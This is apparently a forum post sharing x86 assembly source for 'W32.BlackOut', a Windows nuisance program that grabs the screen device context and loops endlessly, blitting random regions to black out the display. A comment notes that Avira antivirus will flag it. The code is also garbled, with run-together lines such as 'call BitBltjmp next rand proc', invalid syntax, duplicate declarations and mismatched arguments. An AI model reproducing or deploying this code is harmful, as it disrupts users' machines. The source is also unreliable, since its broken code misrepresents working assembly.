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W32.BlackOut


JMC31337

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black out the GUI

.386       
.model flat extrn MessageBoxA:proc
extrn GetDC:proc
extrn SetPixel:proc
extrn GetSystemMetrics:proc
extrn MessageBoxA:proc
extrn GetPixel:PROC
extrn BitBlt:PROC
.data
xc dd 0 ;width
yc dd 0 ;height
x dd 0 ;x-co
y dd 0 ;y-co
dc dd 0
.code
start: xor eax,eax
push eax
call GetDC
mov dword ptr dc,eax
push 16
call GetSystemMetrics
mov dword ptr xc,eax
push 17
call GetSystemMetrics
mov dword ptr yc,eax
next:
mov eax,dword ptr xc
push eax
call rand
mov dword ptr x,eax
mov eax,dword ptr yc
push eax
call rand
mov 4 ptr y,eax
push 0 ; erase area flag
push x ;
push y ;
push dc ;
push xc ; area size
push yc ; area size
inc x ;
inc y ;
push x ;
push y ;
push dc ;
call BitBltjmp next rand proc ;THIS WIL GET FLAGGED BY AVIRA AV
push edx
db 0fh, 31h
xor edx, edx
div dword ptr [esp+8]
mov al,40h
add dl,al
xchg eax, edx
pop edx
ret 4
rand endp
ends
end start
Edited by JMC31337
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